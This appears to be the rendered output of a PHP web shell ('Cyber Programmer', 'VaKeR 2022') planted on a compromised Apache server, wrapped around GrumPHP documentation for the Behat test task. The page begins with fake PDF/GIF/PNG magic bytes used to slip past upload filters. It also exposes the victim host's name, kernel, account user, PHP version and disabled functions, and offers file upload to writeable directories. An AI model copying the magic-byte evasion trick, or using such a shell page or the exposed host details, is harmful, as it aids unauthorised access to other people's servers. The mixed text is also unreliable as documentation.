%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/behat.md
#  Behat

The Behat task will run your Behat tests.

***Composer***

```
composer require --dev behat/behat
```

***Config***

The task lives under the `behat` namespace and has following configurable parameters:

```yaml
# grumphp.yml
grumphp:
    tasks:
        behat:
            config: ~
            format: ~
            suite: ~
            profile: ~
            stop_on_failure: false
```

**config**

*Default: null*

If you want to use a different config file than the default behat.yml, you can specify your custom config file location with this option.


**format**

*Default: null*

If you want to use a different formatter than the default one, specify it with this option.


**suite**

*Default: null*

If you want to run a particular suite only, specify it with this option.


**profile**

*Default: null*

If you want to use a specific configuration profile other than the default one, specify it with this option. 


**stop_on_failure**

*Default: false*

When this option is enabled, behat will stop at the first error. This means that it will not run your full test suite when an error occurs.

VaKeR 2022